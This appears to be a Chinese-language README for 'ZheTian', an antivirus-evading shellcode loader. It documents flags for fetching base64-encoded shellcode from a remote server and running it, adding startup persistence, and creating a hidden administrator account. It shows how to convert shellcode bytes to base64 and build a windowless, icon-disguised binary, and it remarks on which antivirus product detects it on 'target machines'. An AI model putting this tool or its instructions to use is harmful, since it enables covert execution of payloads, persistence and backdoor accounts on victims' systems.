ZheTian強大的遠程加載和執行ShellCode工具,免殺shellcode加載框架
命令詳解
-u string:從遠程服務器加載base64混淆后的字節碼。
-r string:從本地文件內讀。
-s string:讀取修改的原始文件,只能從本地加載。
-m boolean:參數為true自動向啟動項添加自啟模塊。
-o boolean:向userHometmp目錄輸出一次性可執行文件,體積比主程序小了五六倍,同理砍去了其他功能,只保留了ShellCode Loader
-n string:向管理員組創建用戶,-n的參數即為賬戶,-p的參數為密碼。需以管理員身份運行
-c string:直接從命令行獲取base64字符串。
如:ZheTian -c
ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M==...
如果releases里下載的可執行程序被安全軟件查殺了,請下載源碼重新編譯一份!·
新增命令-o詳解:
該命令主要是向用戶目錄下創建tmp文件夾,然后生產只包含shellcode的程序,體積小了五六倍,極致壓縮,并且無任何回顯。
由于ShellCode寫死在了程序內,所以導致用一段時間就會被查殺。
注意使用該命令需填充shellcode,同時擁有go環境。
搭配-s、-u、-c、-r其中的任意命令即可,如:ZheTian -s payload.c -o true
示例:
Base64字符串方式加載:
原始Python代碼:
buf = "xfcx48x83xe4xf0xe8xc8x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75..."
只需提取數組中的16進制代碼:
xfcx48x83xe4xf0xe8xc8x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75...
然后去除x,得到:
fc4883e4f0e8c88b52208b423c4801d0668178180b0275......
然后使用base64轉碼,得到:
ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ==
c、ruby等同理,JAVA之流的則是去除 ", 0x"。注意,是逗號空格0x
byte buf[] = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41};
獲取到base64字符串之后可以選擇放到遠程服務器加載,使用-u 命令即可。
也可以放到本地文件內,或者直接使用-c命令以命令行方式運行。
如:ZheTian.exe -c
ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ==
原文件讀取類型:
使用 ZheTian -h 命令可查看支持的語言。推薦使用Java、py、C語言。
原文件無需進行任何修改即可直接加載,但是不支持放在遠程服務器,只能通過本地 -s 命令讀取,如: ZheTian -s
C:/windows/Temp/payload.java
圖示操作過程
先生成64位shellcode
然后根據需要的命令進行修改
下面執行示例:
編譯:
go build -ldflags "-w -s" -o ZheTian.exe
可以使用
go build -ldflags "-w -s -H windowsgui" -o ZheTian.exe
實現無窗口運行。
但是360偶爾會識別為惡意程序。如果目標機器無安全設備,可以嘗試使用此命令打包,然后使用參數: -o true 實現寫入啟動項功能。
帶圖標編譯:
先執行:go get github.com/akavel/rsrc
rsrc -manifest ZheTian.manifest -ico favicon.ico -o ZheTian.syso
再執行go build -ldflags "-w -s" -o ZheTian.exe
更多介紹:
https://blog.csdn.net/qq_38376348/article/details/108318880
注意:
打包的時候需指定是64位還是32位。
默認會根據系統自動選擇。
而在生成payload shellcode的時候也需要選擇正確的位數,否則會加載失敗。
使用code字節碼加載時一定要使用base64加密,否則無法解析!!
原文地址:
https://github.com/yqcs/ZheTian